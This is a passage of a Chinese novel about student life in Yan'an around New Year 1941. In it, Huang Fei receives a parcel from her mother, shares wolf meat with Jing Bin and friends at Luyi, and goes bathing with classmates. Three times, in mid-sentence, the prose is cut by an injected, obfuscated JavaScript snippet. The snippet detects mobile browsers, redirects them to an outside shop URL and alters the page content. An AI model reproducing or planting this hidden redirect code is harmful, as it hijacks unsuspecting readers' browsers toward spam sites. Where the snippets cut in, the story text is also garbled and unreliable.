就这么一路想着心事,不知不觉便走到了抗大的门前,黄菲溜溜达达进去,问了几个人,找到张朝旭的宿舍,进了窑洞,便见里面热气腾腾,也正在热闹之中,十几个人在那里围坐谈笑。 黄菲往人群之中叫了一声:“朝旭姐!” 张朝旭果然在其中,听到呼唤声,扭头一看,又惊又喜:“黄菲,你来了!快过来坐,我介绍你认识几个朋友。” 张朝旭钻出人丛,拉着黄菲的手,把她拖进圈子,一个一个给她绍介,来这里做客的几个人都是鲁艺的学生,有女同学,也有男同学,听说黄菲是在女子大学读书,那几个人都带一点好奇的神色,尤其是男学生,更加眼前一亮,有人马上便问起:“黄菲同志,你是学什么的?” 在他旁边,一个清秀白净、二十出头的男子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然看过很多张恨水的书,也会很热切地与哥哥,还有同学讨论他的小说,从来不觉得有什么,不过这时候听到这个男同学说起屠格涅夫、托尔斯泰,黄菲莫名地便有些惭愧,就好像当初给父亲责骂时的感觉,虽然情形显然是极其不同的,此时对方并没有刻意贬低的意思,只是随意闲谈,然而自己却有一点自惭形秽了,想着人家读的都是大名鼎鼎文豪的书,而自己呢?就只是读一些流行的小说,茶余饭后打发时间而已。 听她说张恨水,旁边另一个男生凑过来说:“张恨水去年刚刚写了一部《秦淮世家》……” 话题就此转为张恨水小说的讨论。 大家说了一阵,忽然窑洞门给人“砰”地撞开,那人站在门口大声嚷:“你们还在这里?小何家里给他捎了东西来,好大几包肉干,还有牛奶糖,我们赶快去帮他尝一尝。” 于是一群人呼啦啦立刻全都站起来,张朝旭一把拉住黄菲:“我们快去,晚了就来不及了。” 黄菲毕竟在延安已经住了几个月,晓得这里的一些情形,似这样的“共产”,乃是惯常的事,从前自己也跟着其她人一起去吃过的,只是这一回,实在有些不好意思,便犹豫着说:“我不去了吧,不认得人家,怪难为情的……” 不等她说完,张朝旭已经拖着她风一样跑了出去:“都是革命好同志,相逢何必曾相识,有什么难为情的?你赶快一点,迟了就没了。” 黄菲便只得同着她一起过去了,到了那里,桌子上果然摆了一大包牛肉干,外包的纸已经给人打开,几个人坐在那里正在努力地嚼着,张朝旭这一帮人到来之后,也不客气,坐下来拿了肉干便吃,一边吃还一边讨论问题: “鬼子轰炸……” “统一战线……” 显示她们不是只为了过来吃东西,而是在关心时政。 热热闹闹聊了一阵,黄菲望了望那位男青年,终于鼓起勇气,问道:“唉,同学,真不好意思,你是叫什么来着?” 在心里憋了好一阵了,之前是介绍过的,不过当时人太多,一闪而过,没有能记得住。 人们哄堂大笑,那个男子也眯着眼睛笑,回答道:“我叫景斌。” 这一天,黄菲在张朝旭这里待到很晚才回去,临别的时候,景斌邀请她:“下个礼拜天到我们学校来吃饭啊!” 旁边有人笑哈哈地说:“鲁艺有名的‘艺术饭’啊!” 黄菲笑嘻嘻,没有说什么,向大家道别,便离去了。 等她回到自己宿舍的窑洞,姚鹏当然早已离开,地上遗落了几颗瓜子皮没有清扫干净。 见她回来了,陈露云赶着告诉她:“今天姚同志是过来辞行的,他要到前线去了。” 黄菲不由得呼出一口气:“啊,是这样啊!” 那么很好啊,今后再不必担心看到他,起码好一段时间不需要有这样的顾虑。 4. 第四章 打败日本野心狼 第四章 打败日本野心狼 十二月的延安,已经非常冷了,在这个时候,火盆成为人们最好的朋友,黄菲也和其她人一样,回到宿舍里,就守着炭盆取暖,况且炭火能够额外增加光亮,读书更方便些。 二十九号礼拜天下午,大家又是围炉取暖,烤着火谈笑: “何敏修刚去了姚店,和当地的同志们一起搞选举呢。” “啊,我真的也想去!” “可惜不行呢,谁让我们是普通班呢?人家是高级班的啊,本来就是党员了呢,原本又读过书,很有水平的,所以才能够参加三级选举。” “哎呀真的是要急死人了,什么时候这样的工作才能够轮到我们呢?为什么我们就不行呢?就算能力还不够,到那里起码可以帮抄写一下,计算票数,我长这么大,还没看过选举,在家乡哪里会有这样的事情?” 是陕甘宁边区乡、县、边区三级政府选举,这一批年轻的学生,都是从国统区或者日本占领区奔赴延安,在那些地方,并没有选举,即使选举,也只是形式,只听到“某某人当选了什么什么”,然而身边的人从没有听说有去投过票,都不知是怎么选出来的,然而到了延安,她们亲眼看到了选举,这一阵各种书报上,许多报告会讨论会,都是在说选举,这就是民主啊,延安果然是不同于腐朽黑暗的旧世界,是中国进步的曙光。 另外要说女子大学的班级编制,很是特别,大体分为四类,最基本的是普通班,就是黄菲这一批青年学生,有一定的文化基础,过往经历相对简单,普通班的学生在女大是人数最多的;还有一种是高级班,也叫高级研究班,都是有文化又有工作经验和能力的党员;另外就是陕甘班和特别班,陕甘班是边区土地革命的女干部,特别班是长征女战士和国统区来的青年女子,这两个班的共同特点就是,学生本身的文化水平偏低, 这一次调去参加民主选举的,就是高级班的学员,让黄菲这些普通班的学生极其羡慕。 熊晖一捋短发,说道:“我们现在努力学习,将来也会有机会的。” 高明霖:“还要争取赶快入党!” 正在说着,忽然传达来了:“小黄,有你一个包裹!” 黄菲听说有自己的信,登时兴奋起来,放下手里的书,便跑过去接过了包裹,其她人嬉笑着也都望向这边,只等她拆开包裹来看。 黄菲却没有立刻打开包裹,她先是把包裹紧紧贴在胸口,靠在心脏处,闭起眼睛来满怀依恋地感受了一会儿,这才把那不大不小的包裹放下来,解开上面的麻绳,只见里面一包腐竹,一包酥糖,一包马蹄粉,还有一包桂花茶,最上面放着一封信。 黄菲拆开信封,将里面的信纸取了出来,足足三大张纸,上面写满了密密麻麻的毛笔字,蝇头小楷十分清秀,是母亲的字迹。 母亲卢兰玉第一句话就写道:“幼蕊吾儿:你既然已去延安,便千万不要回来,桂林并非你久留之地。” 接下来母亲写的便是,自从自己离去之后,父亲是怎样的暴跳如雷,整日咒骂,要自己“干脆就死在外面”,他只当从来就没有这个女儿。 三姨太和大哥也阴阳怪气,幸灾乐祸,三姨太说的是:“这一下可不用再担心会‘养老女’,我们家三小姐啊,在外面不知会给她的爹爹找多少个‘革命伴侣’。” 与农户人家出身的大姨太和二姨太不同,三姨太从前是唱桂戏的,看本子需要能认字,所以三姨太能够读报,家中买了报纸,她也时常拿来读读,所以了解这些时兴的名词。 三姨太的儿子,黄家的长子黄瑞安则是说:“三妹妹是个心高志大的,将来倘若飞黄腾达,我们黄家光宗耀祖,还都要指望着她。” 这简直是火上浇油,气得父亲黄皓瞬间如同火石敲在火镰上,一串火星简直要从脑门顶迸出来,跳着脚咒骂:“我还指望她光宗耀祖呢?这个忤逆不孝的小贱人,伤风败俗,她不要糟蹋了我这门户就算是好的,早知这样,倒不如她早早得病死了的好,也省了我养她这么多年,花了这许多的钱。” 母亲与自己的亲哥哥黄瑞成捂了耳朵不忍心听。 自从接到自己那一封辗转寄回家中的信,母亲是早就想要给自己写信,奈何父亲严令,不允许家里人往延安寄信,三姨太和大少爷盯得又紧,母亲忍耐了好一阵,如今眼看要过年,那边也似乎有所放松,她便偷偷摸摸找到自己已出嫁的二姐,通过二姐往这边寄了一个包裹,里面都是自己往常爱吃的东西,桂花茶留着自己夜里读书的时候,困了喝一点提神。 母亲很是遗憾,没能给自己寄辣椒酱,瓷瓶实在不好千里运送,如今的中国,遍地抗日烽火,听人说寄送物品很容易丢失,就连这一包东西,也不知自己能否收得到,更不要说瓷的玻璃的坛坛罐罐,只怕刚一出桂林就打破了,倘若要吃故乡的辣椒酱,只能是将来衣锦还乡,母亲亲手为自己做辣椒酱。 信的末尾还有哥哥写给自己的两段话,叮嘱自己保重身体,努力学业,未来成为中国有用之人。 另外,信封里还有一些法币。 黄菲读了母亲与哥哥的信,眼里泛着泪花,好一阵才平息下来,转过头来笑着对同学们说:“家里寄来了东西,快一起来吃吧!” 潘岳荣她们早就在等她这一句话,如今她说了出来,这一群姑娘哪里能够客气?一窝蜂涌上来,七手八脚便把酥糖拿了个精光,黄菲只来得及抢出一块来,高明霖还指着一包雪白的粉在问:“这个是什么?糯米粉么?” 黄菲道:“是马蹄粉。” 高明霖露出一脸失望的样子:“啊呀,原来是马蹄,还以为可以煮糯米圆子来吃。” 陈露云在吃的方面很是聪明:“马蹄粉也是好的,比糯米粉不差,我们找一点细糖,来做马蹄糕吃,这腐竹更加好了,煮熟了加酱油麻油一拌,味道别提多美了,今天的小米饭可是有好菜可以下饭,我们往常拿这些酱料拌小米饭,就是难得的美味了,如今有腐竹,提前过年了。” 熊晖点头:“我那里还有一点辣椒,记得上次的香醋也还剩一点,今天的晚饭就是这样,我们悄悄的,赶快都吃掉。” 不能留到明天,到那时就都没了,轮不到自己来吃。 黄菲把法币收藏起来,然后兴冲冲便拿了一点腐竹,又将茶叶也分出一小包,穿起棉袄就往外面走,熊晖在后面招呼她:“刚下了雪,外面很冷的,你去哪里?还要去图书室么?” 黄菲回头匆匆说了一句:“我去透一透空气。” 陈露云在她背后抿着嘴笑:“快去吧,雪地里的空气啊,是格外清新一些,多逛逛,晚一点回来啊!” 黄菲推开了门,走出窑洞,将那一场闹哄哄都留在了身后,快步便向一个方向走去,将近一个钟头之后,前方出现了鲁艺的影子。 景斌坐在窑洞的火炕上,靠着小炕桌,正歪着身子在写字,宿舍里也是一样吵吵闹闹,他写几个字便会停一停,抬起头来看看,微微地笑,这个时候,忽然有人大叫道:“黄菲,你来了!” 在油灯迷蒙的烟气之中,景斌望向窑洞门口,果然一个人影出现在那里,黄菲原本苗条的身材,穿了棉袄有点圆滚滚,显得比深秋的时候胖了好多。 于是景斌连忙从炕上跳下来,迎接过去:“黄菲,外面好冷吧?快来这边坐,暖和一下。” 其他人也笑嘻嘻的,在炭盆旁边给黄菲腾了个地方,另外还有一点空余,是留给景斌的。 黄菲坐下来,将怀里的一小包东西往景斌手里一塞:“给你的。” 景斌捏着牛皮纸包:“家里刚刚寄来的?” 黄菲点了点头。 几个男同学一阵哄笑:“真体贴!” 黄菲将短发捋到耳后,学着人家的样子,咯咯地乐着用现成话解释说:“我们革命同志,有好东西应该分享,难道你们有了好吃的,会不给我么?” 笑声愈发大起来,这时窑洞内一个二十五六岁,年纪最大,也最为成熟沉稳,平日一贯好像大哥一样关照大家的男子,叫做沈芒的,笑着说道:“那自然是要请的,你今天来得刚好,方才老丁套到了一只狼,正在说晚上要炖狼肉来吃。” 老丁是这里的炊事员,套狼很有技巧。 黄菲眼睛一亮:“狼肉啊!太好了,我还没有吃过,一定很好吃的吧?” 沈芒摇头:“不知道,我们也是第一次尝呢。快把腐竹泡起来,一会儿焖在一起。” 于是大家就紧紧簇拥着坐在一起,膝盖碰着膝盖谈天,不多时,晚上五点多,果然一大碗热气腾腾的炖狼肉端了上来,是老丁亲自送过来:“黄菲啊,你来了啊,快尝尝我的手艺!” 黄菲连忙说谢谢。 老丁又问:“听说你还带了东西来是吧?” 黄菲笑着说:“是一点腐竹,我们家乡的土产。” 老丁连连点头:“腐竹好,腐竹好,炖肉最美,快加上快加上!” 沈芒这时已经找了一只小脸盆,把狼肉倒进脸盆里,又加了一些水,把腐竹也放进去,搁在炭火上继续炖。 其他人干脆便请老丁和他们一起吃饭,老丁也不客气,便坐了下来,此时每个人面前一碗小米饭,围着那一小盆狼肉,大口便吃:“吃肉啊,吃肉!” 各个盯着炖肉,眼里放光。 黄菲也是满怀兴奋,抓着筷子便伸向装肉的碗,夹了一块,吹了吹便塞进嘴里,迫不及待用力嚼了两下,然后脸上便是……怎么会是这个味道?又酸又苦啊,而且肉丝特别粗糙,好像木柴煮烂了的感觉。 一时间黄菲差一点把嘴里的肉吐出来,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344735|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而她看了看周围,人们都是皱着眉在吃,努力咽下去,没有一个吐肉的,尤其是老丁,丝毫不见勉强,眉头都不皱一下,就吞了进去,一边吃还一边呵呵地乐,挥着筷子劝着大家:“快吃啊,顶好的肉,这样的天气,多吃一点肉,身上暖和,有力气。” 黄菲把那一块肉在嘴里嚼了好久,直到两腮都麻了,这才不得不咽下,抓过杯子喝了一口水,犹犹豫豫地说:“狼肉怎么是这样的啊?味道好怪啊。” 老丁哈哈一笑:“狼肉嘛,就是这样,那是不如鸡肉猪肉好吃嘛,咱们鲁艺养了几头猪,预备过年杀的,这时候还没有很肥,还可以再养十天半月,现在有狼肉,就先解解馋。” 景斌与黄菲颇有同感,苦着脸说道:“丁师傅,有肉吃当然是很好,不过这狼肉的味道也实在是……” 难以下咽啊! 老丁乐道:“你们看开一点,狼肉其实也没有那么糟糕,毕竟是肉嘛,只不过腥臊的味道重了一点,你们就当是在吃没有料理好的羊肉吧。” 另一个男生愁眉苦脸:“可是这和羊肉根本不能比啊!” 羊肉多嫩啊,就算有一点膻味,也是情趣,有的人偏爱的就是那一股膻气,比如自己,以为倘若没了这种味道,吃羊肉的趣味便失掉了大半,好像吃猪肉一样了,然而这狼肉,味道也实在太糟糕了。 老丁看着他们的这个样子,仿佛格外觉得有意思,笑着说:“狼肉嘛,料理得好,也是可以的,多加花椒大料,茴香八角,就能盖过这种味道,不过咱们这个地方,许多东西都缺,这些调料难买,我手头就一点辣椒大蒜,要做更好一点也为难,不过这好歹是有腐竹,给这狼油一浸,也能当肉吃,你们吃狼肉费力,便吃一点腐竹压压那味道吧。” 大家这时候便想起来: “是啊,吃腐竹,真的好像肉一样。” “幸亏黄菲带了腐竹来,桂林的腐竹,果然名不虚传,又油又润。” 老丁吃饭飞快,不多时便吃完了,坐在那里点起烟袋来,一边吸着一边说:“冬天里的狼,讨人嫌,总来猪圈,叼起小猪仔就跑了。” 黄菲忽然间便想到:“我当初读鲁迅先生的文章,《祝福》,里面祥林嫂的独养儿子,就是给狼冬天叼走了的。” 沈芒点头:“是的,就好像如今的日本帝国主义,残害人民。” 对面一个男生道:“所以我们今天吃狼肉,明天就要打败日本这个害人狼!” 于是众人的情绪便逐渐激奋起来,吃狼肉也有了新的意义,仿佛正在与侵略者作战一样,在这样的激动之下,那狼肉便也不再显得怎样太过难吃,大家吃饭的速度明显加快,不多时便将一大碗狼肉分着吃完了。 吃过了晚饭,又谈了一会儿天,黄菲便说要回去了,这个时候大家公推景斌送她回去:“小心有狼,带上木棒!” 黄菲便与景斌每人手里拎了一根柴棒走出窑洞,沿着铺满积雪的道路,一路往女大方向走去,一边走,一边说着话,黄菲见周围没了别人,便将藏在怀里的那一块酥糖和一小包茶叶塞给了他。 景斌说着:“……每当我想到你的身世,就想到了艾青的那首诗,《大堰河,我的保姆》,封建社会是多么的摧残人啊!……” 与黄菲逐渐熟悉之后,两个人自然便要互相讲述自己的过往,黄菲告诉景斌,因为给算命先生说自己的八字不吉利,专克兄长,哥哥黄瑞成比自己大两岁,当年自己出生,偏巧哥哥生了重病,请了许多医生来治疗,也不见好转,最终便请了个号称神算的先生,那人把全家的人看过一遍,说是刚刚出生不久的自己妨碍了哥哥,倘若送走自己,哥哥便能好转,父亲便决定将不到半岁的自己送到乡下寄养,以便保住嫡子。 黄菲好奇地问:“还有这样一首诗吗?” 自己从来不曾听到过。 景斌马上便给她背诵: “大堰河,是我的保姆。 她的名字就是生她的村庄的名字, 她是童养媳, 大堰河,是我的保姆。 我是地主的儿子; 也是吃了大堰河的奶而长大了的 大堰河的儿子……” 景斌朗诵的情感十分投入,黄菲也听得逐渐沉迷,只觉得句句都是自己的心声。 几分钟后,景斌不很完整地背完了大半首诗,中间很多脱落句,只不过黄菲不晓得,然后景斌很是激动地说:“封建思想毒害人性,让这个人间成为一个炼狱,就连最为珍贵的亲情都不再是温暖坚实的了。” 见景斌如此愤慨,黄菲心头一阵温暖,感觉很是安慰,在这种欣慰之余,她也有另一种感情:“虽然家里送我离开,很是没有感情,不过却也不完全是坏事,我挺喜欢乡下,喜欢那里的人情淳朴,喜欢我的乳母。” 5. 第五章 延安颂 第五章 延安颂 又过了两天,就是十二月三十一号,虽然是周二,白天有许多功课,不过想到第二天就是新年,大家便都很感觉轻松愉快,到了下午四点多,当天的课程基本结束,几个女同学便相约去洗澡。 是要去附近的旅馆洗浴,在延安,没有女澡堂,而自己烧水洗澡又比较麻烦,把水壶放在炭盆上,虽然可以烧热水,但是倘若就这样在窑洞里洗澡擦身,无论如何小心,总会溅得满地水,这里面又是泥地,虽然是夯实了的,倘若水多了,终究要形成小小的泥坑,所以洗澡是个问题,尤其是对于那些爱干净的人,特别是女生,很是头疼。 所以多数女生平时在宿舍里简单擦身,每隔十天半月,便约会去临近的旅社洗澡,那里好在有沐浴设备,当然是要付钱,不过为了让身上清爽,一些女生也就不计较这一点钱,黄菲也是如此,母亲刚给她寄了钱来,在延安,是法币与边币通用的,所以她此时手头相对宽裕,花起钱来便比较大方,想着马上便是新年,更加想着痛痛快快洗一回澡,干干净净迎接新的一年。 窑洞里几个同学清脆地说笑着,各自收拾面盆毛巾和香皂,黄菲也把自己的东西打点了一个小竹篮,转头瞥见高明霖,见她正盯着炭盆发愣,便笑着说:“明霖,你怎么还不赶快穿衣服?” 高明霖摇头:“你们去吧,我不去。” 黄菲晃了晃头,好奇地问:“你不去么?” 高明霖道:“不去。” 旁边陈露云撇了撇嘴:“半个月没洗了,你还不去?” 高明霖说:“等你们走了,我自己到河里去洗。” 她这句话一说出来,其她人登时都震惊了,先不说万一给人看到,这个群众影响的问题,如今已经是腊月了,延河早已结冰,冰层还很厚的,高明霖要怎么样下河洗澡? 于是熊晖便问:“这么冷的天,外面都是雪呢,河水还结冰,你到河里洗澡,不怕冻死了?” 高明霖坐在那里,纹丝不动:“不怕,我听人家说了,水里其实没有那么冷的,你们看那些鱼呀虾啊,都还在里面游,所以人也是可以的,我穿着衬衣衬裤进去,冷了就出来。” 听她计划得如此周全,大家登时更为担忧,纷纷七嘴八舌劝她: “不要啊,水里那么冷,下去了容易腿抽筋。” “穿着衣服怎么洗澡?手伸到里面去搓么?洗不干净的,还是和我们一起去旅馆洗的好。” “是啊,冻病了很麻烦的,医院里没有那么多药,倘若得了肺炎很危险。” 尤其陈露云的提议格外奇特:“你要么在岸边生起一堆火,冷了就上来烤烤火,暖和一下?” 听到陈露云这样一句话,高明霖登时仿佛受到了奇耻大辱,脸上瞬间胀红起来,语气十分激动:“只不过下河去洗个澡,就要这样娇贵么?还要生火?当年红军长征,爬雪山过草地,那么多艰难困苦,眉头都不皱一下,人家个个都是钢筋铁骨,是英雄,如今我们呢?我可不要去旅馆洗澡,让人家说资产阶级的小姐不能革命!” 她这一段话讲出来,大家便明白了,高明霖是因为给人怀疑不能革命,所以要这样磨炼意志,黄菲头脑里冒出来的第一个念头则是:然而你不是资产阶级啊,你家和我家一样,都是地主。 而且高家还是大地主,那阶层地位可比黄家高得多,黄家虽然在本乡颇为有名,终究不脱土财主的气息,高家则是在城里也有宅子,从高明霖的祖父辈,就是颇有名望的学者,父亲去国外留过学,哥哥也是国内一流学府的才子。 然后黄菲想到:“可是明霖,你前几天月事刚过去的啊,这个时候下河到冰水里面洗澡,受了寒不是玩笑的,我妈和我说的,女人最关紧要的是两个时候,一个是月事,一个是生产之后的那一个月,倘若调养不好,一生受病,不能好的,很是遭罪。” 她这样一说,别的人也都想了起来:“是啊明霖,黄菲说得有道理,我们革命者,身体的健康很是重要,否则无论有多少理想,身体不好也实现,倘若身上总是病痛,那还怎么做工作呢?” 潘岳荣也劝道:“我的那个时候虽然不怎样痛,但是看到过人家痛的,在床上打滚,莫非你也要那个样子么?为了锻炼自己,反而把身体搞坏了,这也是对革命的不负责任啊,要知道我们的身体,不仅仅属于我们自身,更加是属于革命的,为了革命,要爱惜自己啊,不能这样蛮干。” 经过大家这样一番劝说,尤其熊晖那一番话,非常有理论水平,高明霖的念头便慢慢转了过来,她愤愤地捶了一下自己的小腹:“我真恨啊,恨自己为什么是个女儿身?晕车也就罢了,偏偏每个月还要来这个,身为女子,就是有这么多的不方便,总是耽误革命。” 晕车男人也会有,在这一项上,是平等了,可是男人无论如何也没有月经。 熊晖也有所感慨:“有时候我真希望自己是个男人,就不会有这些麻烦,每个月烦死了。” 高明霖于是下了炕,收拾自己的物品,不多时,几个女学生一起走出窑洞,谈笑着往旅社而去。 旅社之中,几个女生泡在池子里,热水让人浑身舒服,所有的血管都仿佛格外通畅,血液流淌变快,泡得久了,人就有点懒洋洋,本来黄菲是在和大家一起热热闹闹地说话,过了一阵,便懒得再说,两手巴在池壁上,望着水池上方腾起的袅袅蒸汽出神,那边陈露云也差不多,眯起眼睛简直好像要睡着了一样。 黄菲全身浸泡在热水里,就这么神游了一阵,想到自己的故乡,还有母亲,马上便是新年,她一定格外想念自己,还有自己的哥哥,他在做什么?还是在读书么?然后不知怎么,念头一转,便又想到景斌身上,据说过一阵要去农村,收集大生产运动的资料,回来写小说。 想着想着,黄菲忽然张口唱道:“唱支山歌解忧愁,喝杯凉水甜心头,凉水解得心头苦,我哥为妹解忧愁。” 这一支小调唱完,熊晖几个人拍手鼓掌: “唱得好!” “再唱一个!” 陈露云在一旁,抿着嘴瞥着她笑。 黄菲不由得有些得意,自己顶喜欢唱歌,而且不是自己骄傲,确实唱得不错呢,每次唱起来,周围的人都喜欢听,给人一夸赞,自己就更加爱唱歌,于是此时,她就又接连唱了几支“昱仔”,也就是山歌,到这时便振作精神,又唱一支:“八月十五是中秋,有人快乐有人愁,有人楼上吹箫鼓,有人地下叹风流。” 这支曲子意蕴悠长,在这样的日子里,格外容易引发人的感慨,听黄菲唱完,熊晖不由得便感叹:“是啊,每到逢年过节,有钱的人自然是加倍欢乐,但是那没钱的穷苦人,心情就很是凄伤,怎样的繁华风流都是属于别人的。” 高明霖也点头:“所以我一想到自己从前过的那种生活,就感觉羞耻,虽然是皮鞋汽车的日子,然而那是剥削得来的,是腐朽的,罪恶的,我再不要过那种有罪的生活,不想当‘小姐太太’,要当‘同志’,我要用自己的双手来劳动,创造新世界。” 潘岳荣叹道:“所以我们能够在延安这样的圣地生活,是多么幸福啊!” 陈露云依然是抿着嘴唇,咪咪地笑:“黄菲,詹妈妈还给你唱过这首歌么?” 黄菲摇头笑着说:“这个是我妈唱的。” 母亲往往凄凉地唱过这支歌后,便红着眼圈,用低低的声音向自己痛诉丈夫的无良,负心忘意,接连娶了两个偏房,在这样说着的同时,视线还不由得不住向两边睃着,仿佛生怕给什么人听到一样。 陈露云用手指掠了掠鬓边的头发,笑道:“我就听着调子有点不一样,唱词也雅致些,不像是乡下不识字的人能唱得出的。” 潘岳荣连忙说:“露云,你这是歧视劳动人民,工农劳动者就不能是文雅的么?” 陈露云咯咯地乐:“那得看是怎样的工农,要是那些有技术的呢,自然不同了,穿皮鞋戴礼帽,一副文化人的派头呢,赚的钱也多。” 毕竟在这里已经半年时间,对于延安的许多事情,陈露云愈发清楚了,晓得这里技术工人身份极高,穿戴都十分洋气,简直一派资产阶级的调调儿,说话做事也与别人不一样,很有点“高人一等”的样子,薪水更加高了,每个月大约十八九元,甚至有人能拿到三十几元,是延安赚钱最多的人,当然中央首长除外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344736|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然不晓得首长们赚多少,但是想来不会很低的,两边也没法比较。 再看看自己呢?每个月一块钱的津贴,自然了,现在还是学生,边区政府能给自己这样的学生发津贴,就已经很不错,不过即使一年半之后从学校毕业,进入机关工作,拿政府津贴,与人家依然是不能比的,每个月二三十元啊,这样的薪水不要说在延安,即使是北平上海,也是可以让人羡慕的了,想一想这些钱在延安,能买多少东西啊! 所以有的时候陈露云对于自己的婚姻大事,就有点犹豫起来,究竟是嫁战斗英雄好呢,还是嫁一个工程师好呢?军队里的高级干部虽然很荣耀,津贴也高,但是危险也大,上前线很容易死掉的,那样自己就没了丈夫,只靠着自己做事务员那一点点可怜的津贴,日子很苦的,倘若有了一个孩子,就更加为难,假如是一个工程师,就好得多了,钱呢是不会少拿,又不会有那么多的风险,自己不必担心当寡妇,中途给人丢下了,甚至还要一个人拉扯几个孩子。 这一个热水澡直洗了半个多钟头的时间,先洗身上,然后又洗头,最后一个个女孩子从热水池里爬出来,都感觉身上有点发软,黄菲回头一瞥池水,上面浮着一层极细的白沫。 陈露云披了衣服,靠在一边软软地说:“这一个澡洗得,有些筋疲力竭啊!” 潘岳荣噗嗤一笑:“大概是好久没洗澡了,洗一次就花费特别多的力气,很是痛快,所以也就感觉累。” 高明霖伸了个懒腰:“反正是很舒服啊,泡了这一阵热水,骨头都轻了三两,轻飘飘地好像要作神仙一样。” 黄菲在一旁捂着嘴笑,之前不是还想要去洗冰水澡吗? 这一次彻底洗浴,让大家过新年的劲头愈发高涨,第二天一九四一年一月一号,白天放假,到了晚上,是盛大的晚会。 这一天,哪怕是黄菲这样的书迷,也没有像往常那样整天读书,她上午看了一阵书,下午睡过一觉,到了晚上,吃过晚饭,便精神饱满地跑出窑洞,在女大的门口见到了已经等了一阵的景斌,景斌的脸冻得发红,黄菲笑着向他说了一声抱歉,景斌露出一口白牙,说没什么,自己也是刚到,两个人便相伴走向大礼堂,去那里看晚会。 两个人避开了熟悉的人,窝在一个角落里看舞台上,好在这里已经挤满了人,简直好像成捆的稻草,想要移动一下都费力,真正叫做“水泄不通”,在这样的人山人海之中,周围想要找到熟悉的人也是为难,所以黄菲虽然有点忐忑,但在景斌的安慰之下,过了一阵便也能安心观看演出。 当天的晚会是在《延安颂》庄严的歌声中开始的。 “……哦!延安, 你这庄严雄伟的古城, 到处传遍了抗战的歌声。 哦!延安, 你这庄严雄伟的古城, 热血在你胸中奔腾……” 这在延安,是很出名的一支歌曲,黄菲来到这里半年,已经听人唱过几十上百遍,早就把调子和歌词都记熟了,此时便也跟着轻声哼唱。 景斌在一旁低声和她说:“歌词是莫耶写的,在延安,她也是一位很有名的才女。” 投奔延安的才女有很多,比如丁玲,陈学昭,都是大名鼎鼎,莫耶虽然不能与她们相比,但也是很出色的,她写的这篇《延安颂》的诗歌,谱曲之后传唱各地,激励中华抗战,也唤起了大家对延安的向往,听说连毛主席也很是赞赏呢。 黄菲连连点头,对于莫耶,她也是久闻其名,很是景慕,刚来到延安不久,就看了她编写的话剧《到八路军里去》,很是激动人心,只有共产党,只有八路军,才是□□的希望。 接下来几个节目之后,是一个女子独唱,站在台上的是一个身材苗条的年轻女同志,这个人往台上那么一站,台下人群中登时一阵嗡嗡声: “叶群!是叶群!” “女大的叶群啊!” 就连景斌也啧啧连声:“那就是叶群,延安的四大美女之一!” 黄菲咯咯地乐,一只脚在下面狠踩了一下景斌,口中“哎呦”一声,“不好意思,我踩到你的脚了”,景斌于是便只是笑,不再说什么。 6. 第六章 本土偶像洪宣娇 第六章 本土偶像洪宣娇 新年之后,便准备过春节,距离除夕不过二十几天,这个时候哪怕是最热爱学习的人,也难免有些慢了进度,注意力时不时便难以控制地转移到过年的话题上去,精神总是不能集中,景斌就和黄菲说过:“写文章实在难以下笔,写几行字就要断开了,宿舍里也实在是吵,将来我有了自己的家庭,一定要清静些,不要住在闹市的地方。” 黄菲嘻嘻地笑,景斌不止和她抱怨过一回了,与自己不同,景斌虽然也能够融入集体生活的氛围,但许多时候难免感觉到打扰,每每正在他文章构思有突破的时候,便给周围的喧闹打断了,而自己则是欢欢喜喜拥抱这种火热的氛围,很喜欢听大家说话,也愿意加入到谈论之中,假如是要看书呢,窑洞内同学们的说话声便是最好的伴奏。 起初自然也是有些生疏的,不过适应了一阵之后,如今自己已经不在意,熊晖她们议论得越是热烈,自己就越是能够静下心来读书,就好像从前在桂林家中,过年的时候,外面鞭炮炸裂,锣鼓喧天,自己坐在母亲的房间里,只抬头向窗外略望望,便又低下头来看书,就是在这样的热闹之中,感觉内心格外的安宁。 这种时候,宁妈妈过来送茶水点心,看到自己一脸平静地还在读书,便大呼小叫起来:“啊哟哟我的小姐,你可真的好像仙女一样,大家都在外面看放炮,你还在这里看书呢!怎么不瞧瞧热闹去?” 听到宁妈妈这样的惊叹,自己虽然不说什么,暗暗地却也有一种“与旁人不同”的骄傲。 到了中旬,去姚店参加三级选举的何敏修也回来了,她是因为一些特殊的原因,提前回延安,黄菲与熊晖去探望她,顺便也是很想要知道选举究竟是什么样子,到了那里,便看到何敏修显然瘦了,可见这一阵到乡村去,过得比较艰苦。 果然,大略谈过了选举之后,何敏修便倾诉:“刚去的时候,真的感觉很难受啊,睡火炕倒是罢了,我们在学校里住窑洞,本来也是睡炕,可是农民是全家男女老少挤一张大炕,我去了一看,没有我的炕,就只好和他家的女孩子靠在一起睡。这倒是还罢了,最主要的是,他们不讲卫生,你的毛巾牙刷,他们拿起来就用,好像是他们自己的,而且还不洗澡,倘若洗澡了,可是一件很隆重的事情呢,弄得身上都是跳蚤,我到那里虽然是隆冬,却也有跳蚤,你们看把我身上给咬得……” 